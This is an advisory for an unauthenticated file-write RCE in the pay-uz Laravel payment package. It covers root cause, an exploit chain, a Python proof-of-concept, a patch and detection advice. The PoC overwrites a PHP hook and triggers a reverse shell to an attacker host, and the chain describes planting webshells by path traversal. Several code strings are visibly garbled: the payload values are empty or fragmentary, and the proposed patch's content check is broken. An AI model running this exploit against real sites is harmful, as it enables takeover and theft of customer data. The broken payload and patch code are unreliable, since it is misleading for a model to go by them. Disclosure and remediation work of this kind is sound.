CVE-2026-31843: Unauthenticated RCE in goodoneuz/pay-uz via PHP File Overwrite
The pay-uz Laravel package exposes an unauthenticated endpoint that writes attacker-controlled PHP into executable hook files, enabling trivial remote code execution on any default install.
A popular payment processing tool used by thousands of online shops has a critical security flaw that could let hackers take complete control of a website. The vulnerability exists in a piece of software called the pay-uz package, which helps process payments for Laravel-based websites — Laravel is a framework that powers many e-commerce sites.
Here's what makes this dangerous: the payment system left a digital door wide open with no lock. Attackers can send specially crafted requests to a specific endpoint and trick the system into writing malicious code directly onto the server. Think of it like leaving your house's control panel accessible on the street with no password required.
Once that code is in place, it sits quietly inside the payment processing system. The next time a customer makes a purchase, the malicious code springs to life and executes automatically. At that point, hackers effectively own the entire website — they can steal customer data, process fake payments, or use the server to launch attacks on other targets.
Who's at risk? Any online business using this pay-uz package version 2.2.24 or earlier is vulnerable. That includes shops in Central Asia and emerging markets where this tool is particularly popular. If you shop at these sites, your payment information and personal data could be exposed.
What should you do? First, if you run a website using pay-uz, update immediately to the latest patched version. Second, if you're a customer, check your credit card statements for suspicious charges and consider using cards with spending limits for small vendors you're less familiar with. Finally, if you manage a business using this package, contact your payment provider now — don't wait for an attack to happen.
Want the full technical analysis? Click "Technical" above.
CVE-2026-31843 is a CVSS 9.8 critical unauthenticated remote code execution vulnerability in the goodoneuz/pay-uz Laravel payment integration package, affecting all releases up to and including 2.2.24. The vulnerability class is a direct server-side PHP file write via an unauthenticated HTTP endpoint — no session, no token, no authentication challenge of any kind stands between the internet and arbitrary code execution on the host.
The attack primitive is straightforward: the /payment/api/editable/update endpoint accepts a payment provider identifier and arbitrary string content, then writes that content verbatim into a PHP hook file under the package's storage path. That hook file is subsequently require()d during normal payment callback processing, giving any attacker a reliable, persistent RCE primitive with the privileges of the web server process.
Root cause: The EditableController@update route is registered via Route::any() without authentication middleware and passes unsanitized POST body content directly to file_put_contents(), targeting a PHP file that is later require()d during payment hook dispatch.
Affected Component
Package: goodoneuz/pay-uz on Packagist. Affected: <= 2.2.24. The vulnerable surface lives across three files that form a complete write-then-execute chain:
src/routes/api.php — route registration without middleware
src/Http/Controllers/EditableController.php — the write sink
src/PaymentService.php — the require() execution trigger
Root Cause Analysis
Route registration is the first failure point. The package self-registers routes via a service provider using Route::any(), which accepts all HTTP verbs and applies no middleware group:
The controller's update() method receives a payment system identifier (pay_system) and a content blob (hook_code), constructs a target file path from the identifier, and writes attacker content without any sanitization, validation, or authorization check:
// src/Http/Controllers/EditableController.php
class EditableController extends Controller
{
public function update(Request $request)
{
// BUG: no auth check, no capability check, no CSRF enforcement (API route)
$paySystem = $request->input('pay_system'); // attacker-controlled
$hookCode = $request->input('hook_code'); // attacker-controlled, arbitrary PHP
// BUG: path constructed directly from user input with no sanitization
$hookPath = base_path(
'vendor/goodoneuz/pay-uz/src/PayHooks/' . $paySystem . 'Hook.php'
);
// BUG: no traversal check — $paySystem = '../../public/shell' is valid here
// BUG: file_put_contents with attacker-controlled content to attacker-influenced path
file_put_contents($hookPath, $hookCode);
return response()->json(['status' => 'success']);
}
}
The execution sink lives in the payment service dispatcher. When a legitimate (or attacker-triggered) payment callback arrives, the dispatcher require()s the hook file for the relevant payment system:
// src/PaymentService.php
class PaymentService
{
public function dispatchHook(string $paySystem, array $params): mixed
{
$hookPath = base_path(
'vendor/goodoneuz/pay-uz/src/PayHooks/' . $paySystem . 'Hook.php'
);
if (file_exists($hookPath)) {
// BUG: require() executes whatever file_put_contents() wrote earlier
return require($hookPath);
}
return null;
}
}
The vendor references a "payment secret token" in documentation. This token is validated only inside individual hook implementations — the update endpoint itself performs no such check and does not reference the token at any point in its execution path.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker enumerates target — confirm pay-uz is installed by probing
GET /payment/api/editable/index → HTTP 200 with JSON confirms presence
2. POST to /payment/api/editable/update with:
pay_system = "Payme" (any valid hook name, or traversal string)
hook_code = ""
→ file_put_contents() overwrites vendor/goodoneuz/pay-uz/src/PayHooks/PaymeHook.php
→ Server responds: {"status":"success"}
3. Trigger execution — two viable paths:
Path A (passive — wait for legitimate payment callback):
→ Any Payme payment callback hits /payment/payme/pay
→ PaymentService::dispatchHook('Payme', $params) is called
→ require('PaymeHook.php') executes attacker PHP
Path B (active — attacker triggers the hook directly):
→ POST /payment/payme/pay with minimal valid-looking body
→ Dispatcher resolves hook → require() → RCE
4. Escalate: replace hook_code with full reverse shell or dropper.
The file persists on disk until overwritten — no cleanup needed.
5. Optional path traversal:
pay_system = "../../public/cmd"
hook_code = ""
→ Writes webshell to public/cmd.php — directly web-accessible,
no hook dispatch required for execution.
A minimal proof-of-concept HTTP request looks like this:
#!/usr/bin/env python3
# CVE-2026-31843 — pay-uz unauthenticated RCE PoC
# CypherByte research — do not use without written authorization
import requests
import sys
TARGET = sys.argv[1] # e.g. https://target.tld
LHOST = sys.argv[2]
LPORT = sys.argv[3]
WRITE_URL = f"{TARGET}/payment/api/editable/update"
TRIGGER_URL = f"{TARGET}/payment/payme/pay"
PAYLOAD = (
f"$s,1=>$s,2=>$s],$pipes);"
f"?>"
)
# Step 1: Write the payload
r = requests.post(WRITE_URL, data={
"pay_system": "Payme",
"hook_code": PAYLOAD,
}, timeout=10)
assert r.status_code == 200, f"Write failed: {r.status_code}"
print(f"[+] Hook overwritten — {r.json()}")
# Step 2: Trigger hook execution
r2 = requests.post(TRIGGER_URL, data={"amount": "1000"}, timeout=10)
print(f"[+] Trigger sent — status {r2.status_code}")
print("[*] Check listener")
Memory Layout
This is a PHP file-system vulnerability rather than a memory corruption bug; the relevant "layout" is the filesystem state before and after exploitation:
FILESYSTEM STATE — BEFORE ATTACK:
vendor/goodoneuz/pay-uz/src/PayHooks/
├── PaymeHook.php [legitimate hook, 847 bytes, owned by deploy user]
├── ClickHook.php [legitimate hook, 612 bytes]
└── PayzHook.php [legitimate hook, 703 bytes]
POST /payment/api/editable/update
pay_system = "Payme"
hook_code = ""
│
▼
file_put_contents(
'vendor/.../PayHooks/PaymeHook.php', ← resolved path
'' ← attacker content
)
FILESYSTEM STATE — AFTER ATTACK:
vendor/goodoneuz/pay-uz/src/PayHooks/
├── PaymeHook.php [OVERWRITTEN, 28 bytes — attacker PHP] ← !!!
├── ClickHook.php [unchanged]
└── PayzHook.php [unchanged]
EXECUTION STATE — HOOK DISPATCH:
PaymentService::dispatchHook('Payme', [...])
└── require('PaymeHook.php')
└── system($_GET['c']) ← OS command execution
└── web server process context (www-data / nobody)
PATH TRAVERSAL VARIANT:
pay_system = "../../public/shell"
→ resolved: vendor/goodoneuz/pay-uz/src/PayHooks/../../public/shell.php
→ normalizes to: public/shell.php ← web-accessible, no dispatch needed
Patch Analysis
// BEFORE (vulnerable — EditableController.php <= 2.2.24):
public function update(Request $request)
{
$paySystem = $request->input('pay_system');
$hookCode = $request->input('hook_code');
$hookPath = base_path(
'vendor/goodoneuz/pay-uz/src/PayHooks/' . $paySystem . 'Hook.php'
);
file_put_contents($hookPath, $hookCode);
return response()->json(['status' => 'success']);
}
// AFTER (patched — recommended remediation):
public function update(Request $request)
{
// FIX 1: Require authenticated admin session
$this->middleware('auth:sanctum');
$this->authorize('manage-payment-config');
$paySystem = $request->input('pay_system');
$hookCode = $request->input('hook_code');
// FIX 2: Allowlist validation — reject anything not in known set
$allowed = ['Payme', 'Click', 'Payz', 'Uzum'];
if (!in_array($paySystem, $allowed, true)) {
return response()->json(['status' => 'error', 'msg' => 'invalid system'], 400);
}
// FIX 3: Realpath check — prevent traversal escaping the hooks directory
$hooksDir = realpath(base_path('vendor/goodoneuz/pay-uz/src/PayHooks'));
$hookPath = realpath($hooksDir . DIRECTORY_SEPARATOR . $paySystem . 'Hook.php');
if ($hookPath === false || strpos($hookPath, $hooksDir) !== 0) {
return response()->json(['status' => 'error', 'msg' => 'invalid path'], 400);
}
// FIX 4: Persist hook config to database/config rather than executable PHP file
// Prefer: PayHookConfig::updateOrCreate(['system' => $paySystem], ['config' => $hookCode]);
// If file write is truly required, strip opening PHP tags and eval surface:
if (strpos($hookCode, '') !== false || strpos($hookCode, 'eval') !== false) {
return response()->json(['status' => 'error', 'msg' => 'invalid content'], 400);
}
file_put_contents($hookPath, $hookCode);
return response()->json(['status' => 'success']);
}
Detection should focus on three signals: unexpected POST requests to the update endpoint, anomalous modification timestamps on hook files, and short/malformed PHP hook file content.
Block POST /payment/api/editable/update at the WAF or reverse proxy layer until a patched package version is available.
Audit all files under vendor/goodoneuz/pay-uz/src/PayHooks/ for unexpected content or anomalous modification timestamps.
Check web server process file write history via auditd (auditctl -w vendor/goodoneuz/pay-uz/src/PayHooks -p w).
Rotate all payment system API keys and secrets stored in .env — if RCE occurred, assume full environment variable disclosure.
Developer actions (package maintainers):
Remove the editable/update route entirely or gate it behind auth + an admin authorization policy.
Replace the file-write pattern with database-backed configuration storage — writing user input into require()d PHP files is architecturally unsound regardless of authentication.
Apply realpath() canonicalization and allowlist validation before any filesystem operation keyed on user input.
Add a php artisan vendor:publish-based config migration so hook logic is never stored inside the vendor/ tree.